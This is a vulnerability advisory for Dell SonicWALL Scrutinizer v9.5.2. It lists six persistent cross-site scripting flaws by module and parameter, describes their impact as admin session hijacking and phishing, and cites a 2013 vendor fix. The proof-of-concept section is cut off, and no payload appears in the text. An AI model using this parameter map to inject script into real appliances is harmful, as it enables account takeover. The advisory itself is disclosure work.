Introduction:
=============
Dellâ SonicWALLâ Scrutinizer is a multi-vendor, flow-based application traffic analytics, visualization and reporting tool 
to measure and troubleshoot network performance and utilization while increasing productivity for enterprises and service providers. 
Scrutinizer supports a wide range of routers, switches, firewalls, and data-flow reporting protocols, providing unparalleled insight 
into application traffic analysis from IPFIX/NetFlow data exported by Dell SonicWALL firewalls, as well as support for a wide range 
of routers, switches, firewalls, and data-flow reporting protocols. IT administrators in charge of high throughput networks can 
deploy Scrutinizer as a virtual appliance for high performance environments.

Severity:

Details:
========
Multiple persistent input validation vulnerabilities are detected in the Sonicwall OEM Scrutinizer v9.5.2 appliance application.
The bugs allows remote attackers to implement/inject malicious script code on the application side (persistent).

The first persistent vulnerability is located in the Alarm - New Board & Policy Manager module with the bound vulnerable 
Search item - BBSearchText parameter request. The vulnerability allows to inject persistent script code as search item value.
The result is the persistent execution of script code out of the BBSearchText listing.

The secound persistent vulnerability is located in the Dashboard - Flow Expert module with the bound vulnerable Mytab parameter.
The vulnerability allows to inject persistent script code as myTab link value. The result is the persistent execution of script 
code out of the Mytab link listing.

The 3rd persistent vulnerability is located in the MyView (CGI) module with the bound vulnerable `newName` parameter request.
The vulnerability allows to inject persistent script code as newName. The result is the persistent execution of script code 
out of the core value listing.

The 4th persistent vulnerability is located in the Admin > Admin [New Users & New Group] module with the bound vulnerable 
groupName & username parameters. The vulnerability allows to inject persistent script code as username or groupname. The result 
is the persistent execution of script code out of all username and group listings + checkboxes.

The 5th persistent vulnerability is located in the Admin > Admin [Mapping / Maps (CGI) - Dashboard Status] module with the bound 
vulnerable groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name & settings groups(checkbox) parameters. 
The vulnerability allows to inject persistent script code as groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name 
& settings groups(checkbox) value(s). The result is the persistent execution of script code out of the groupMembers, Type, Checkbox 
Linklike, indexColumn, name, Object Name listings and settings groups checkbox.

The 6th persistent vulnerability is located in the Alarms > Overview Bulletin Board > Advanced Filters module with the bound vulnerable 
displayBBAdvFilterModal() - (Policy Name, Board Name, Violators) parameters. The vulnerability allows to inject persistent script code 
as Policy Name, Board Name and Violator. The result is the persistent execution of script code out of the Policy Name, Board Name and 
Violator listings.

Successful exploitation of the vulnerability can lead to persistent session hijacking (manager/admin), persistent phishing, persistent 
external redirects to malware or scam and persistent web context manipulation in the affected vulnerable module(s). Exploitation requires 
low user interaction & a low privileged appliance web application user account.

Vulnerable Section(s):
			[+] Alarm
			[+] Dashboard
			[+] MyView (CGI)
			[+] Admin > Admin
			[+] Admin > Admin 
			[+] Alarms

Vulnerable Module(s):
			[+] New Board & Policy Manager
			[+] Flow Expert
			[+] Value
			[+] New Users & New Group
			[+] Mapping / Maps (CGI) - Dashboard Status
			[+] Overview Bulletin Board > Advanced Filters

Vulnerable Parameter(s):
			[+] Search item - BBSearchText
			[+] Mytab
			[+] newName
			[+] groupName & username - Place in Usergroup - Listing
			[+] groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name & settings groups(checkbox)
			[+] displayBBAdvFilterModal() - (Policy Name, Board Name, Violators)


Proof of Concept:
=================
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged application user account 
and low required user interaction. For demonstration or reproduce ...

Solution:
=========
2013-02-10:	Vendor Fix/Patch

Where changing code paths to use bound variables was not practical in such a short timeframe, we pass inputs included in a query through a function that escapes potentially dangerous characters.


Risk:
=====
The security risk of the persistent input validation web vulnerabilities are estimated as medium(+)|(-)high.
